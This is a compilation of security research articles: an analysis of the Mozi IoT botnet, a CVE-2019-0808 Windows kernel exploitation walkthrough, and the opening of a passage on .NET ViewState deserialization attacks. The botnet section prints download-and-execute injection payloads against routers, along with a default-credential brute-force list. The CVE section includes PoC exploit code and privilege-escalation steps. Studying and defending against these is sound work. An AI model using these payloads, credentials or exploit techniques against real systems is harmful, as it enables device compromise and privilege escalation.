-
专项行动的意外收获—— 2020 年 9 月墨子(Mozi)僵尸网络分析报告
作者:answerboy@知道创宇404积极防御实验室
时间:2020年9月18日1.概述
专项行动期间,某天各大蓝队群内都在交流最近是否收到很多来自印度的攻击流量,最初部分认为是红队在使用印度IP进行攻击。但很快发现事情好像并不是这么简单,通过对攻击Payload特征的分析,发现该攻击不是专项行动红队所发起,而是来自一个正在迅速扩张的僵尸网络——Mozi(墨子)僵尸网络。
Mozi僵尸网络是于2019年底首次出现在针对路由器和DVR 的攻击场景上的一种P2P僵尸网络。主要攻击物联网(IoT)设备,包括网件、D-Link和华为等路由设备。它本质上是Mirai的变种,但也包含Gafgyt和IoT Reaper的部分代码,用于进行DDoS攻击、数据窃取、垃圾邮件发送以及恶意命令执行和传播。目前其规模已经迅速扩大,据统计目前已占到所有物联网(IoT)僵尸网络流量的90% 。
近日知道创宇404积极防御实验室通过知道创宇云防御安全大数据平台监测到大量来自印度IP的攻击。经分析,其中大量的攻击来自Mozi僵尸网络,可能和近期印度Mozi僵尸网络大范围感染并传播有关。
2.追溯分析
2.1发现攻击
近日,知道创宇404积极防御实验室监测到大量来自印度IP的Web攻击,试图通过远程命令执行下载Mozi.m、Mozi.a等恶意文件到被攻击设备上,且使用的User-Agent均为:“Hello, world”。使用的部分攻击Payload如下:
12cd+/tmp;rm+rf+*;wget+http://27.6.167.68:46222/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1图1-攻击日志
通过对样本的分析确定该样本属于Mozi僵尸网络家族。
2.2详细分析
2.2.1 Mozi.m样本分析
捕获到的样本信息:
SHA256:bba18438991935a5fb91c8f315d08792c2326b2ce19f2be117f7dab984c47bdf
ELF 头:
Magic 7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00 类别 ELF32 数据 2 补码,大端序 (big endian) Version 1 (current) OS/ABI UNIX - System V ABI 版本 0 类型 EXEC (可执行文件) 系统架构 MIPS R3000 版本 0x1 入口点地址 0x41fb58 程序头起点 52 (bytes into file) 样本通过UPX进行了加壳操作,且将p_info结构中的p_file_size和p_blocksize值擦除为了0,来增强自身的“安全性”。
在成功感染目标设备之后,Mozi为进行自我保护,会通过防火墙阻断SSH、Telnet端口,以防止被其他僵尸网络入侵:
图2-阻断22、2323端口通信
根据感染的设备,修改防火墙策略放行不同的端口来保证自身的通信:
图3-放行自身使用端口
同时读取/proc/net/tcp和/proc/net/raw来查找并KILL掉使用1536和5888端口的进程:
图4-Kill相关进程
检查被感染的设备上是否存在Watchdog来避免重启:
图5-检测Watchdog
检查被感染的设备上是否存在/usr/bin/python,如果存在,则将进程名称更改为sshd,不存在则更改为dropbear,以此来迷惑被攻击者。
图6-更改进程名
分析过程中发现Mozi僵尸网络复用了部分Gafgyt家族僵尸网络的代码,其中内嵌了8个硬编码的公共节点信息,用于加入P2P网络,如下:
图7-内置的节点
在样本中还硬编码了一个使用XOR加密的配置文件及密钥:
图8-配置文件
使用硬编码的秘钥解密后得到如下配置数据:
[ss]bot[/ss][hp]88888888[/hp][count]http://ia.51.la/go1?id = 19894027&pu =http%3a%2f%2fbaidu.com/[idp][/count]。
新的Mozi节点向
http://ia.51.la/
发送HTTP请求,来注册自身。在通信流量中通过
1:v4:JBls
来标记是否为Mozi节点发起的通信。图9-通信标识
所攻击的设备类型包括:GPON光纤设备、NetGear路由设备、华为HG532交换机系列、D-Link路由设备、使用Realtek SDK的设备、Vacron监控摄像机、斐讯路由器、 USR-G806 4G工业无线路由器等:
图10-攻击的设备类型
同时还在样本中发现硬编码的部分用户名和弱口令,用来对Telnet进行暴力破解攻击,以扩大感染和传播范围,硬编码的部分用户名和密码如下:
图11-部分弱口令密码
2.3攻击分布
自9月以来知道创宇云防御共拦截了来自Mozi僵尸网络的151,952个IP的攻击,总计拦截攻击14,228,252次。与8月份相比,来自印度的攻击显著增加,拦截到的来自印度的攻击IP同比上涨了近30%,所拦截到的总攻击次数上涨了近42%。下图为知道创宇404积极防御实验室自9月以来监测到的来自印度的攻击IP TOP10:
图12-攻击IP TOP10
通过对捕获到的日志分析,对所有被攻击的行业进行分类统计,其中被攻击占比最高的为政府事业单位,以及部分部委机关系统及网站。这部分系统在所有被攻击的行业中占比达到45%。如下:
图13-被攻击行业分布
目前Mozi僵尸网络仍在快速扩张,且呈上升趋势,临近十一重保,各单位仍需提高警惕,做好安全防护措施,尤其是各级政府事业单位以及部委机关单位,应提前做好相关设备的安全检查,避免被僵尸网络入侵感染。
3.防护建议
- 1.设备关闭不必要的端口,对使用的端口号进行更改;
- 2.定期更新系统补丁,及时修复相关漏洞;
- 3.服务器切勿使用弱口令,避免被暴力破解;
- 4.根据附件中的Payload阻断存在以下特征的通信;
- 5.关注设备上的可疑进程和外连访问,尤其是近期来自印度的IP。
4附:IoCs
公共节点
dht.transmissionbt.com:6881
router.bittorrent.com:6881
router.utorrent.com:6881
ttracker.debian.org:6881
212.129.33.59:6881(ZoomEye搜索结果)
82.221.103.244:6881(ZoomEye搜索结果)
130.239.18.159:6881(ZoomEye搜索结果)
87.98.162.88:6881(ZoomEye搜索结果)部分Payload
123456789POST /GponForm/diag_Form?images/ HTTP/1.1Host: 127.0.0.1:80Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: Hello, WorldContent-Length: 118XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://%s:%d/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0123456789POST /picsdesc.xml HTTP/1.1Content-Length: 630Accept-Encoding: gzip, deflateSOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMappingAccept: /User-Agent: Hello-WorldConnection: keep-alive<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /var/; wget http://%s:%d/Mozi.m; chmod +x Mozi.m; ./Mozi.m</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>1GET /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http://%s:%d/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js HTTP/1.01234567POST /HNAP1/ HTTP/1.0Host: %s:80Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://%s:%d/Mozi.m && chmod 777 /tmp/Mozi.m && /tmp/Mozi.m`Content-Length: 640<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>12345GET /shell?cd+/tmp;rm+-rf+*;wget+http://%s:%d/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1User-Agent: Hello, worldHost: %s:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive12345678POST /UD/act?1 HTTP/1.1Host: 127.0.0.1:7574User-Agent: Hello, worldSOAPAction: urn:dslforum-org:service:Time:1#SetNTPServersContent-Type: text/xmlContent-Length: 640<?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://%s:%d/Mozi.m && chmod 777 /tmp/tr064 && /tmp/tr064 tr064`</NewNTPServer1><NewNTPServer2>`echo DEATH`</NewNTPServer2><NewNTPServer3>`echo DEATH`</NewNTPServer3><NewNTPServer4>`echo DEATH`</NewNTPServer4><NewNTPServer5>`echo DEATH`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>12GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://%s:%d/Mozi.m;${IFS}sh${IFS}/var/tmp/Mozi.mGET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://%s:%d/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+varcron12345678910POST /soap.cgi?service=WANIPConn1 HTTP/1.1Host: %s:49152Content-Length: 630Accept-Encoding: gzip, deflateSOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMappingAccept: */*User-Agent: Hello, WorldConnection: keep-alive<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><m:AddPortMapping xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1"><NewPortMappingDescription><NewPortMappingDescription><NewLeaseDuration></NewLeaseDuration><NewInternalClient>`cd /tmp;rm -rf *;wget http://%s:%d/Mozi.m;/tmp/Mozi.m dlink`</NewInternalClient><NewEnabled>1</NewEnabled><NewExternalPort>634</NewExternalPort><NewRemoteHost></NewRemoteHost><NewProtocol>TCP</NewProtocol><NewInternalPort>45</NewInternalPort></m:AddPortMapping><SOAPENV:Body><SOAPENV:envelope>1GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://%s:%d/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0暴力破解使用的用户名及弱口令
Username Password admin 00000000 telnetadmin 1111 !!Huawei 1111111 admin 1234 root 12345 root 123456 keomeo 2010vesta support 2011vesta CMCCAdmin 25802580 e8telnet 54321 e8ehome1 666666 e8ehome 7ujMko0admin user 7ujMko0vizxv mother 888888 root 88888888 Administrator @HuaweiHgw service BrAhMoS@15 supervisor CMCCAdmin guest CUAdmin admin1 Fireitup administrator GM8182 ubnt PhrQjGzk tech Pon521 admin Zte521 admin admin telnet admin1234 adminHW adminpass anko cat1029 chzhdpl conexant default dreambox e2008jl e8ehome e8ehome1 e8telnet epicrouter fucker gpon guest gw1admin h@32LuyD hg2x0 hi3518 ikwb juantech jvbzd keomeo klv123 klv1234 meinsm pass password plumeria0077 r@p8p0r+ realtek root service smcadmin supervisor support system tech telnet telnetadmin ubnt user v2mprt vizxv xJ4pCYeW xc3511 xmhdipc zlxx zte SHA256
12bba18438991935a5fb91c8f315d08792c2326b2ce19f2be117f7dab984c47bdfc672798dca67f796972b42ad0c89e25d589d2e70eb41892d26adbb6a79f638875.参考链接:
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1347/
没有评论 -
CVE-2019-0808 从空指针解引用到权限提升
作者:Kerne7@知道创宇404实验室
时间:2020年9月28日前言
选择这个漏洞的原因是和之前那个cve-2019-5786是在野组合利用的,而且互联网上这个漏洞的资料也比较多,可以避免在踩坑的时候浪费过多的时间。
首先跟据 Google 的博客,我们可以了解到这个漏洞在野外被用作在windows7 32位系统上的浏览器沙盒逃逸,并且可以定位到漏洞函数 win32k!MNGetpItemFromIndex 。
在复现漏洞之前有几个问题浮现出来了,首先这个漏洞被用作沙盒逃逸,那么浏览器沙盒逃逸有哪几种方式?这个漏洞除了沙盒逃逸还可以用来做什么?其次空指针解引用的漏洞如何利用?这些可以通过查阅相关资料来自行探索。
从poc到寻找漏洞成因
在我分析这个漏洞的时候已经有人公布了完整的利用链,包括该漏洞的 poc 、 exp 和浏览器利用的组合拳。但是本着学习的目的,我们先测试一下这个 poc ,看下漏洞是如何触发的。搭建双机调试环境之后,运行 poc 导致系统 crash ,通过调试器我们可以看到
加载符号之后查看一下栈回溯.
可以看到大概是在 NtUserMNDragOver 之后的调用流程出现了问题,可能是符号问题我在查看了 Google 的博客之后没有搜索到 MNGetpItemFromIndex 这个函数,从栈回溯可以看到最近的这个函数是 MNGetpItem ,大概就是在这个函数里面。
大概看了下函数触发顺序之后,我们看下poc的代码是如何触发crash的。首先看下poc的代码流程。
首先获取了两个函数的地址 NtUserMNDragOver 和 NtAllocateVirtualMemory ,获取这两个函数的地址是因为参考栈回溯中是由 win32k!NtUserMNDragOver 函数中开始调用后续函数的,但是这个函数没有被导出,所以要通过其他函数的地址来导出。NtAllocateVirtualMemory函数是用来后续分配零页内存使用的。
12pfnNtUserMNDragOver = (NTUserMNDragOver)((ULONG64)GetProcAddress(LoadLibraryA("USER32.dll"), "MenuItemFromPoint") + 0x3A);pfnNtAllocateVirtualMemory = (NTAllocateVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory");然后设置Hook EVENT_SYSTEM_MENUPOPUPSTART事件和WH_CALLWNDPROC消息。
12SetWindowsHookEx(WH_CALLWNDPROC, (HOOKPROC)WindowHookProc, hInst, GetCurrentThreadId());SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART,hInst,DisplayEventProc,GetCurrentProcessId(),GetCurrentThreadId(),0);之后设置了两个无模式拖放弹出菜单(之前创建的,但是不影响poc的逻辑顺序),即hMenuRoot和hMenuSub。hMenuRoot会被设置为主下拉菜单,并将hMenuSub设置为其子菜单。
12345678910HMENU hMenuRoot = CreatePopupMenu();HMENU hMenuSub = CreatePopupMenu();MENUINFO mi = { 0 };mi.cbSize = sizeof(MENUINFO);mi.fMask = MIM_STYLE;mi.dwStyle = MNS_MODELESS | MNS_DRAGDROP;SetMenuInfo(hMenuRoot, &mi);SetMenuInfo(hMenuSub, &mi);AppendMenuA(hMenuRoot, MF_BYPOSITION | MF_POPUP, (UINT_PTR)hMenuSub, "Root");AppendMenuA(hMenuSub, MF_BYPOSITION | MF_POPUP, 0, "Sub");创建了一个类名为#32768的窗口
1hWndFakeMenu = CreateWindowA("#32768", "MN", WS_DISABLED, 0, 0, 1, 1, nullptr, nullptr, hInst, nullptr);根据msdn我们可以查询到这个#32768为系统窗口,查的资料,因为CreateWindowA()并不知道如何去填充这些数据,所以直接调用多个属性被置为0或者NULL,包括创建的菜单窗口对象属性 tagPOPUPMENU->spmenu = NULL 。
然后设置wndclass的参数,再使用CreateWindowsA来创建窗口。参数可以确保只能从其他窗口、系统或应用程序来接收窗口消息。
12345678910WNDCLASSEXA wndClass = { 0 };wndClass.cbSize = sizeof(WNDCLASSEXA);wndClass.lpfnWndProc = DefWindowProc;wndClass.cbClsExtra = 0;wndClass.cbWndExtra = 0;wndClass.hInstance = hInst;wndClass.lpszMenuName = 0;wndClass.lpszClassName = "WNDCLASSMAIN";RegisterClassExA(&wndClass);hWndMain = CreateWindowA("WNDCLASSMAIN", "CVE", WS_DISABLED, 0, 0, 1, 1, nullptr, nullptr, hInst, nullptr);接着,使用 TrackPopupMenuEx() 来弹出 hMenuRoot ,然后再通过 GetMessageW 来获取消息,然后在 WindowHookProc 函数中由于bOnDraging被初始化为FALSE,所以直接会执行 CallNextHookEx 。由于触发了EVENT_SYSTEM_MENUPOPUPSTART事件,然后传递给 DisplayEventProc ,由于 iMenuCreated 被初始化为0,所以进入0的分支。通过 SendMessageW() 将 WM_LMOUSEBUTTON 窗口消息发送给 hWndMain 来选择 hMenuRoot 菜单项(0x5, 0x5)。这样就会触发 EVENT_SYSTEM_MENUPOPUPSTART 事件,再次执行 DisplayEventProc ,由于刚刚 iMenuCreated 自增了,所以进入分支1,导致发送消息使鼠标挪到了坐标(0x6,0x6),然后 iMenuCreated 再次进行自增。然后在主函数的消息循环中iMenuCreated大于等于1进入分支,bOnDraging被置为TRUE,然后调用被我们导出的pfnNtUserMNDragOver函数。
1234567891011121314TrackPopupMenuEx(hMenuRoot, 0, 0, 0, hWndMain, NULL);MSG msg = { 0 };while (GetMessageW(&msg, NULL, 0, 0)){TranslateMessage(&msg);DispatchMessageW(&msg);if (iMenuCreated >= 1) {bOnDraging = TRUE;pfnNtUserMNDragOver(&pt, buf);break;}}12345678910111213LRESULT CALLBACK WindowHookProc(INT code, WPARAM wParam, LPARAM lParam){tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;if (!bOnDraging) {return CallNextHookEx(0, code, wParam, lParam);}if ((cwp->message == WM_MN_FINDMENUWINDOWFROMPOINT)){bIsDefWndProc = FALSE;printf("[*] HWND: %p \n", cwp->hwnd);SetWindowLongPtr(cwp->hwnd, GWLP_WNDPROC, (ULONG64)SubMenuProc);}return CallNextHookEx(0, code, wParam, lParam);}1234567891011121314VOID CALLBACK DisplayEventProc(HWINEVENTHOOK hWinEventHook,DWORD event,HWND hwnd,LONG idObject,LONG idChild,DWORD idEventThread,DWORD dwmsEventTime){switch (iMenuCreated){case 0:SendMessageW(hwnd, WM_LBUTTONDOWN, 0, 0x00050005);break;case 1:SendMessageW(hwnd, WM_MOUSEMOVE, 0, 0x00060006);break;}printf("[*] MSG\n");iMenuCreated++;}poc的流程已经分析完了,但是还是有部分的代码没有进入,比如 WindowHookProc 的 cwp->message == WM_MN_FINDMENUWINDOWFROMPOINT 分支,该分支通过 SetWindowLongPtrA 来改变窗口的属性。把默认的过程函数替换为SubMenuProc,SubMenuProc函数在收到 WM_MN_FINDMENUWINDOWFROMPOINT 消息后把过程函数替换为默认的过程函数,然后返回我们自定义的FakeMenu的句柄。
123456789LRESULT WINAPI SubMenuProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam){if (msg == WM_MN_FINDMENUWINDOWFROMPOINT){SetWindowLongPtr(hwnd, GWLP_WNDPROC, (ULONG)DefWindowProc);return (ULONG)hWndFakeMenu;}return DefWindowProc(hwnd, msg, wParam, lParam);}接下来还要我们从漏洞的代码本身来分析。我们来看下调用pfnNtUserMNDragOver之后发生了什么,以及什么时候能收到 WM_MN_FINDMENUWINDOWFROMPOINT 这个消息。通过我们之前看到 windbg 的栈回溯中,我们在IDA中逐渐回溯函数,在 xxxMNMouseMove 函数中发现了 xxxMNFindWindowFromPoint 就在 xxxMNUpdateDraggingInfo 之前,xxxMNUpdateDraggingInfo 函数也是我们栈回溯中的函数。
在函数 FindWindowFromPoint 函数中通过 xxxSendMessage 发送消息 235 也是 poc 中定义的 WM_MN_FINDMENUWINDOWFROMPOINT ,然后返回 v6 也就是获取的窗口句柄。然后在函数MNGetpItem中导致了空指针解引用得问题。
从空指针解引用到任意代码执行
触发了漏洞之后我们如何利用是个问题,首先的问题是把空指针解引用异常解决掉,在 windows7 版本上可以使用 ntdll!NtAllocateVirtualMemory 来分配零页内存。可以看到在申请零页内存之后不会产生异常导致crash了。
为了进入到 MNGetpItem 的 if 分支中,我们需要对零页内存中的数据进行设置。并且通过查询资料得知,MNGetpItem 中的参数为 tagPOPUPMENU 结构,uDraggingIndex又可以从tagMSG的wParam取到,所以这个函数的返回值是在用户态可控的。
进入 if 分支之后我们继续看程序流程,继续跟进 xxxMNSetGapState 函数。
进入 xxxMNSetGapState 可以看到再次出现了我们之前的漏洞函数 MNGetpItem ,其中 v5 是 MNGetpItem 的返回值,v6 = v5,后续中有 v6 或的操作,MNGetpItem 的返回值又是用户态可控,利用这一点我们可以实现任意地址或0x40000000u的操作。
如何把这个能力转化为任意地址读写呢?公开的exp中采用了窗口喷射的方法,类似于堆喷射创建大量的 tagWND 再通过 HMValidateHandle 函数来泄露内核地址来进行进一步的利用。HMValidateHandle 允许用户获得具有对象的任何对象的用户级副本。通过滥用此功能,将包含指向其在内核内存中位置的指针的对象(例如 tagWND(窗口对象))”复制“到用户模式内存中,攻击者只需获取它们的句柄即可泄漏各种对象的地址。这里又需要导出 HMValidateHandle 函数来进一步利用。再导出了 HMValidateHandle 之后可以泄露对象的地址了,然后我们利用窗口对象喷射的方法,寻找两个内存位置相邻的对象,通过修改窗口附加长度 tagWND+0x90->cbwndExtra 为0x40000000u来,再次修改第二个窗口对象的 strName.Buffer 指针,再通过设置 strName 的方式来达到任意地址写。
有了任意代码写,如果使 shellcode 在内核模式中执行呢?可以利用 tagWND. bServerSideWindowProc 字段,如果被置位那话窗口的过程函数就实在内核模式的上下文中执行,最后可以实现用户态提权。
后记
通过这个漏洞的分析和复现也学到了不少在内核模式下的操作。分析到这里已经算结束了,但是如何达到在野外实现的浏览器沙盒逃逸的功能,还有之前提出的问题都是还需要思考的。那我们通过这个漏洞的复现及利用过程,还要思考这个漏洞是如何被发现的,是否可以通过poc中的一些功能来 fuzz 到同样的空指针解引用,以及我们如何去寻找这类漏洞。
参考链接
https://security.googleblog.com/2019/03/disclosing-vulnerabilities-to-protect.html
https://github.com/ze0r/cve-2019-0808-poc/
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1351/
-
.Net 反序列化之 ViewState 利用
作者:HuanGMz@知道创宇404实验室
时间:2020年10月30日.NET 相关漏洞中,ViewState也算是一个常客了。Exchange CVE-2020-0688,SharePoint CVE-2020-16952 中都出现过ViewState的身影。其实ViewState 并不算漏洞,只是ASP.NET 在生成和解析ViewState时使用ObjectStateFormatter 进行序列化和反序列化,虽然在序列化后又进行了加密和签名,但是一旦泄露了加密和签名所使用的算法和密钥,我们就可以将ObjectStateFormatter 的反序列化payload 伪装成正常的ViewState,并触发ObjectStateFormatter 的反序列化漏洞。
加密和签名序列化数据所用的算法和密钥存放在web.confg 中,Exchange 0688 是由于所有安装采用相同的默认密钥,而Sharepoitn 16952 则是因为泄露web.confg 。
.NET 反序列化神器 ysoserial.net 中有关于ViewState 的插件,其主要作用就是利用泄露的算法和密钥伪造ViewState的加密和签名,触发ObjectStateFormatter 反序列化漏洞。但是我们不应该仅仅满足于工具的使用,所以特意分析了ViewState 的加密和签名过程作成此文,把工具用的明明白白的。
初接触.NET,文中谬误纰漏之处在所难免,如蒙指教不胜感激。
1. 调试.Net FrameWork
1.1 .Net 源码
对于刚接触.Net反序列化,甚至刚接触C#的朋友来说,有一个舒适方便的调试环境实在是太重要了。这里就简单介绍一下如何进行.net framework 的底层调试。
.Net Framework 已经被微软开源了,你可以在官方网站上下载源码或者直接在线浏览。目前开源的版本包括 .Net 4.5.1 到 4.8。但是要注意,虽然微软开源了.Net 的源码,以及相应的VS项目文件,但是只能用于代码浏览,而无法进行编译。因为缺少重要组件(包括xaml文件和资源文件)。
1.2 调试
微软官文档有说明如何使用VS进行.Net源码的调试。其原理大概是通过pdb+源码的方式来进行单步调试。但经过实际尝试,发现并不是所有.net 程序集文件都有完整的pdb文件,其中一部分程序集的pdb是没有源码信息的。也就是说,只有一部分的程序集可以通过vs进行单步调试。
细节参考以下连接:https://referencesource.microsoft.com/setup.html
支持源码调试的程序集列表为:https://referencesource.microsoft.com/indexedpdbs.txt
在放弃使用vs进行调试后,我发现还可以使用dnspy 进行.net底层调试。dnspy 是一个开源的.Net反编译工具,与经典工具Reflector相比,它不仅可以用于反编译,还可以借助反编译直接进行调试。dnspy 的github链接在这里。可以下载源码进行编译,也可以直接下载编译好的版本,不过要注意满足它要求的.net framework 版本。
设置环境变量 COMPLUS_ZapDisable=1
为什么要设置这个环境变量,为了禁用所有NGEN映像(* .ni.dll)的使用。
假如你的windows服务器上安装有IIS服务,并且上面运行一个网站。使用浏览器打开该网站,这会使IIS在后台创建一个工作进程,用于运行该网站。这时我们用 process explore去查看 w3wp.exe 进程加载的dll,你会发现为什么程序集后面都有一个.ni的后缀。System.Web.dll 变为了 System.Web.ni.dll ,并且该dll的描述中还特意写了 "System.Web.dll"。其实这就是在使用.Net的优化版代码。
设置环境变量 COMPLUS_ZapDisable=1 ,重启windows(一定要重启,因为重启IIS服务才能应用到我们设置的新环境变量)。仍然用ie打开网站,然后使用Process explore去查看w3wp.exe,这时你就会发现:网站工作进程加载的程序集变回了我们所熟知的System.Web.dll。
注意1:设置环境变量后要重启
注意2:如果找不到w3wp.exe,使用管理员运行process explore。
使用dnspy 进行调试
首先我们用process explore检查
w3wp.exe
加载的程序集所在的位置。因为你的系统上可能安装有多个版本的.Net或者是不同位数的.Net。如果你在dnsPy 中打开了错误的程序集,你在上面下断点的时候会提示你:无法中断到该断点,因为没有加载该模块。选择32位或者64位的 dnspy(与被调试进程匹配),以管理员权限启动。随便找一个程序集,比如System.Web.dll,点开后我们看他第一行中所写的路径是否与目标进程加载的程序集相同:
如果不相同,左上方 文件->全部关闭,然后 文件->打开列表,从中选择一个版本合适的 .Net 。
然后上方 调试->附加到进程,选择
w3wp.exe
,如果有多个进程,我们可以通过进程号来确定。那么如何判断哪一个进程是我们需要的呢?方法有很多种,你可以通过 process explore 查看w3wp.exe
的启动命令,看哪个是运行目标网站的工作进程。又或者,以管理员权限启动cmd,进入 C:\Windows\System32\inetsrv,然后运行appcmd list wp。我们可以看到进程号和对应的网站集名称。
然后就是给目标函数下断点,刷新页面,会中断到断点。
2. ViewState基础知识
在我们尝试利用ViewState反序列化之前,我们需要一些了解相关的知识。
ASP.NET是由微软在.NET Framework框架中所提供,开发Web应用程序的类别库,封装在System.Web.dll文件中,显露出System.Web名字空间,并提供ASP.NET网页处理、扩展以及HTTP通道的应用程序与通信处理等工作,以及Web Service的基础架构。
也就是说,ASP.NET 是.NET Framework 框架提供的一个Web库,而ViewState则是ASP.NET所提供的一个极具特点的功能。
出现ViewState的原因:
HTTP模型是无状态的,这意味着,每当客户端向服务端发起一个获取页面的请求时,都会导致服务端创建一个新的page类的实例,并且一个往返之后,这个page实例会被立刻销毁。假如服务端在处理第n+1次请求时,想使用第n次传给服务器的值进行计算,而这时第n次请求所对应的page实例早已被销毁,要去哪里找上一次传给服务器的值呢?为了满足这种需求,就出现了多种状态管理技术,而VewState正是ASP.NET 所采用的状态管理技术之一。
ViewState是什么样的?
要了解ViewState,我们要先知道什么叫做服务器控件。
ASP.NET 网页在微软的官方名称中,称为 Web Form,除了是要和Windows Forms作分别以外,同时也明白的刻划出了它的主要功能:“让开发人员能够像开发 Windows Forms 一样的方法来发展 Web 网页”。因此 ASP.NET Page 所要提供的功能就需要类似 Windows Forms 的窗体,每个 Web Form 都要有一个< form runat="server" >< /form >区块,所有的 ASP.NET 服务器控件都要放在这个区域中,这样才可以让 ViewState 等服务器控制能够顺畅的运作。
无论是HTML服务器控件、Web服务器控件 还是 Validation服务器控件,只要是ASP.NET 的服务器控件,都要放在< form runat="server" >< /form >的区块中,其中的属性 runat="server" 表明了该表单应该在服务端进行处理。
ViewState原始状态是一个 字典类型。在响应一个页面时,ASP.NET 会把所有控件的状态序列化为一个字符串,然后作为 hidden input 的值 插入到页面中返还给客户端。当客户端再次请求时,该hidden input 就会将ViewState传给服务端,服务端对ViewState进行反序列化,获得属性,并赋给控件对应的值。
ViewState的安全性:
在2010年的时候,微软曾在《MSDN杂志》上发过一篇文章,讨论ViewState的安全性以及一些防御措施。文章中认为ViewState主要面临两个威胁:信息泄露和篡改。
信息泄露威胁:
原始的ViewState仅仅是用base64编码了序列化后的binary数据,未使用任何类型的密码学算法进行加密,可以使用LosFormatter(现在已经被ObjectStateFormatter替代)轻松解码和反序列化。
12LosFormatter formatter = new LosFormatter();object viewstateObj = formatter.Deserialize("/wEPDwULLTE2MTY2ODcyMjkPFgIeCHBhc3N3b3JkBQlzd29yZGZpc2hkZA==");反序列化的结果实际上是一组System.Web.UI.Pair对象。
为了保证ViewState不会发生信息泄露,ASP.NEt 2.0 使用 ViewStateEncryptionMode属性 来启用ViewState的加密,该属性可以通过页面指令或在应用程序的web.config 文件中启用。
1<%@ Page ViewStateEncryptionMode="Always" %>ViewStateEncryptionMode 可选值有三个:Always、Never、Auto
篡改威胁:
加密不能防止篡改 ,即使使用加密数据,攻击者仍然有可能翻转加密书中的位。所以要使用数据完整性技术来减轻篡改威胁,即使用哈希算法来为消息创建身份验证代码(MAC)。可以在web.config 中通过EvableViewStateMac来启用数据校验功能。
1<%@ Page EnableViewStateMac="true" %>注意:从.NET 4.5.2 开始,强制启用ViewStateMac 功能,也就是说即使你将 EnableViewStateMac设置为false,也不能禁止ViewState的校验。安全公告KB2905247(于2014年9月星期二通过补丁程序发送到所有Windows计算机)将ASP.NET 设置为忽略EbableViewStateMac设置。
启用ViewStateMac后的大致步骤:
(1)页面和所有参与控件的状态被收集到状态图对象中。
(2)状态图被序列化为二进制格式
a. 密钥值将附加到序列化的字节数组中。
b. 为新的序列化字节数组计算一个密码哈希。
c. 哈希将附加到序列化字节数组的末尾。(3) 序列化的字节数组被编码为base-64字符串。
(4)base-64字符串将写入页面中的__VIEWSTATE表单值。
利用ViewState 进行反序列化利用
其实ViewState 真正的问题在与其潜在的反序列化漏洞风险。ViewState 使用ObjectStateFormatter 进行反序列化,虽然ViewState 采取了加密和签名的安全措施。但是一旦泄露web.config,获取其加密和签名所用的密钥和算法,我们就可以将ObjectStateFormatte 的反序列化payload 进行同样的加密与签名,然后再发给服务器。这样ASP.NET在进行反序列化时,正常解密和校验,然后把payload交给ObjectStateFormatter 进行反序列化,触发其反序列化漏洞,实现RCE。
